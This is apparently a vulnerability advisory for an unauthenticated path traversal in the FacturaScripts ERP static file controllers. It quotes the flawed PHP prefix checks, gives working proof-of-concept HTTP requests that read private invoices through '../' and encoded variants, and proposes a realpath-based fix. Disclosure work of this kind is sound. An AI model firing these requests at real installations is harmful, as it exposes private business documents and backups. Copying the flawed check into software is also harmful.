FacturaScripts: Unauthenticated Path Traversal in Static File Controllers Reads Private MyFiles Documents

Summary

The static file controllers in FacturaScripts decide whether a request is authorized by looking at the URL string instead of the canonical filesystem path. A request that starts with an allow-listed folder name but contains a ../ segment in the middle ends up serving a file from a different directory than the one the URL pretended to point at. This makes any file inside the FacturaScripts installation readable without authentication as long as the file's extension is on the controllers' allow-list (pdf, xlsx, docx, csv, sql, zip, xml, json, xsig, etc.). In practice this leaks the documents the application is specifically designed to protect: customer invoices, supplier invoices, document attachments and database backups stored under MyFiles/Private/ and other non-public subfolders.

The two vulnerable controllers are Core/Controller/Files.php (used by the /Plugins/*, /Core/Assets/*, /Dinamic/Assets/* and /node_modules/* routes) and Core/Controller/Myfiles.php (used by /MyFiles/*). Both share the same root cause: a strpos() / substr() prefix check on the raw URL is treated as proof that the resolved file lives inside an authorized directory.

The /Plugins/* route via Files.php is the cleanest exploit path because Plugins/ is part of every FacturaScripts installation, so no precondition is required. The /MyFiles/* route via Myfiles.php is a second path with the same root cause: when the URL starts with /MyFiles/Public/, the controller exits early and skips the per-file myft token check, which can be combined with ../ to read tokenless files outside Public/.

Tested live on commit de01369 (master, 2026-05-11) and on tag v2026.2, with PHP 8.0.30 on Apache 2.4.56.

Details

Path 1, in Core/Controller/Files.php

Files::__construct concatenates the project folder with the request URL and then runs two safety checks before serving the file:

$this->filePath = Tools::folder() . $url;

if (false === is_file($this->filePath)) {
    throw new KernelException('FileNotFound', ...);
}

if (false === $this->isFolderSafe($url)) {
    throw new KernelException('UnsafeFolder', $url);
}

if (false === $this->isFileSafe($this->filePath)) {
    throw new KernelException('UnsafeFile', $url);
}

isFolderSafe() only inspects the URL string:

public static function isFolderSafe(string $filePath): bool
{
    $safeFolders = ['node_modules', 'vendor', 'Dinamic', 'Core', 'Plugins', 'MyFiles/Public'];
    foreach ($safeFolders as $folder) {
        if ('/' . $folder === substr($filePath, 0, 1 + strlen($folder))) {
            return true;
        }
    }
    return false;
}

For a request like /Plugins/../MyFiles/Private/invoice-2026-001.pdf, substr($url, 0, 8) equals /Plugins, so isFolderSafe() returns true. The filesystem layer then resolves the .. segment when is_file() runs, so the actual file opened is /MyFiles/Private/invoice-2026-001.pdf. isFileSafe() only checks the trailing extension, which is pdf and on the allow-list, so the file is served.

Path 2, in Core/Controller/Myfiles.php

The dedicated MyFiles handler resolves the path with urldecode() and reproduces the same prefix-based logic to decide whether the per-file myft token is required:

$this->filePath = Tools::folder() . urldecode($url);

if (false === is_file($this->filePath)) {
    throw new KernelException('FileNotFound', ...);
}
if (false === $this->isFileSafe($this->filePath)) {
    throw new KernelException('UnsafeFile', $url);
}

// if the folder is MyFiles/Public, then we don't need to check the token
if (strpos($url, '/MyFiles/Public/') === 0) {
    return;
}

$fixedFilePath = substr(urldecode($url), 1);
$token = filter_input(INPUT_GET, 'myft');
if (empty($token) || false === MyFilesToken::validate($fixedFilePath, $token)) {
    throw new KernelException('MyfilesTokenError', $fixedFilePath);
}

A request to /MyFiles/Public/../Private/invoice-2026-001.pdf satisfies strpos($url, '/MyFiles/Public/') === 0, so the controller returns early and skips myft token validation. The .. segment is then resolved by is_file() and readfile() against the real filesystem path inside MyFiles/Private/.

This second path is only exploitable when a MyFiles/Public/ directory exists on disk, which is the case in any installation that has ever published a public asset (company logo, theme file, plugin static resource).

Why this is not the documented "Public folder" behaviour

MyFiles/Public/ is intentionally tokenless for assets that live inside it, and that part is by design. The behaviour shown here is different: the URL appears to point at MyFiles/Public/... but the file ultimately returned lives in MyFiles/Private/. The same file (MyFiles/Private/invoice-2026-001.pdf) is returned with HTTP 403 (Invalid token) when requested directly, and HTTP 200 with the file body when requested through the traversal sequence. The access decision is not consistent with the actual file location, which is the textbook definition of a path traversal flaw.

PoC

The PoC uses one sample invoice planted at MyFiles/Private/invoice-2026-001-ACME.pdf (215 bytes) on a fresh install:

%PDF-FAKE-CONTENT for FacturaScripts PoC
INVOICE: 2026-001
CLIENT: ACME Corporation
TAX ID: B-12345678
AMOUNT: EUR 42,000.00
DUE DATE: 2026-06-15
PAID: 2026-05-09
INTERNAL NOTE: confidential customer financial data

Step 1, control. Direct access without a token is blocked:

GET /MyFiles/Private/invoice-2026-001-ACME.pdf HTTP/1.1
Host: 127.0.0.1:8088

HTTP/1.1 403 Forbidden
<title>Invalid token.</title>
<p>The access token for the file MyFiles/Private/invoice-2026-001-ACME.pdf is invalid or has expired</p>

<img width="1584" height="788" alt="01-control-direct-private-file-blocked" src="https://github.com/user-attachments/assets/37d55f79-55ab-4f69-a9e0-827fc39c0b33" />

Step 2, exploit via /Plugins/*. This is the no-precondition path:

GET /Plugins/../MyFiles/Private/invoice-2026-001-ACME.pdf HTTP/1.1
Host: 127.0.0.1:8088

HTTP/1.1 200 OK
Content-Length: 215
Content-Type: application/pdf

%PDF-FAKE-CONTENT for FacturaScripts PoC
INVOICE: 2026-001
CLIENT: ACME Corporation
TAX ID: B-12345678
AMOUNT: EUR 42,000.00
DUE DATE: 2026-06-15
PAID: 2026-05-09
INTERNAL NOTE: confidential customer financial data

<img width="1585" height="791" alt="02-exploit-path1-plugins-leak" src="https://github.com/user-attachments/assets/bccab788-a369-49bf-84dd-8f2f74addecf" />

The same file that returned 403 in Step 1 is now returned without authentication. /Core/Assets/* and /Dinamic/Assets/* behave the same way against the same controller; /Plugins/* is used here because the folder is guaranteed to exist.

Step 3, exploit via /MyFiles/Public/*. This path also bypasses the myft token check:

GET /MyFiles/Public/../Private/invoice-2026-001-ACME.pdf HTTP/1.1
Host: 127.0.0.1:8088

HTTP/1.1 200 OK
Cache-Control: public, max-age=31536000, immutable
Content-Length: 215
Content-Type: application/pdf

%PDF-FAKE-CONTENT for FacturaScripts PoC
...

<img width="1582" height="789" alt="03-exploit-path2-myfiles-public-token-bypass" src="https://github.com/user-attachments/assets/2f95d0c1-4545-453c-a613-5ed035af7957" />

A quick check shows that several encoding variants of .. also work: %2e%2e, %2E%2E, .%2e, ///../. The flaw lives in the prefix check, not in any specific Apache normalization.

The file is confirmed present on disk:

<img width="1918" height="328" alt="04-lab-evidence-file-on-disk" src="https://github.com/user-attachments/assets/2db5875a-d349-4861-bbdd-8f202eb80d5a" />

Affected request paths

Impact

In a real ERP deployment this exposes the documents that the application is specifically designed to keep behind a per-file token:

• Customer and supplier invoices stored under MyFiles/Private/
• Document attachments uploaded through WidgetFile and DocFilesTrait (MyFiles/<filename>)
• Database backups exported with .sql
• Cached or temporary business data under MyFiles/Cache/ and MyFiles/Tmp/

.php files are not on the extension allow-list, so the flaw does not lead to remote code execution. Files outside the FacturaScripts installation are rejected by Apache's URI normalization (AH10244 invalid URI path), so the leak is bounded to the application directory tree.

Suggested Fix

Both controllers should resolve the requested path to its canonical form with realpath() and verify that the canonical path is inside an allow-listed directory before serving the file or skipping the token check. Example for Files::__construct:

$this->filePath = Tools::folder() . $url;

if (false === is_file($this->filePath)) {
    throw new KernelException('FileNotFound', ...);
}

$realPath = realpath($this->filePath);
$base = realpath(Tools::folder());
if ($realPath === false || strpos($realPath, $base . DIRECTORY_SEPARATOR) !== 0) {
    throw new KernelException('UnsafeFolder', $url);
}

$safeFolders = ['node_modules', 'vendor', 'Dinamic', 'Core', 'Plugins', 'MyFiles' . DIRECTORY_SEPARATOR . 'Public'];
$relative = substr($realPath, strlen($base) + 1);
$allowed = false;
foreach ($safeFolders as $folder) {
    if (strpos($relative, $folder . DIRECTORY_SEPARATOR) === 0) {
        $allowed = true;
        break;
    }
}
if (!$allowed) {
    throw new KernelException('UnsafeFolder', $url);
}

The same pattern applies to Myfiles::__construct: compare the canonical resolved path against realpath(Tools::folder() . '/MyFiles/Public') before skipping the myft token check.

Affected Versions

Confirmed on the current master branch (commit de01369) and on the latest tagged release (v2026.2).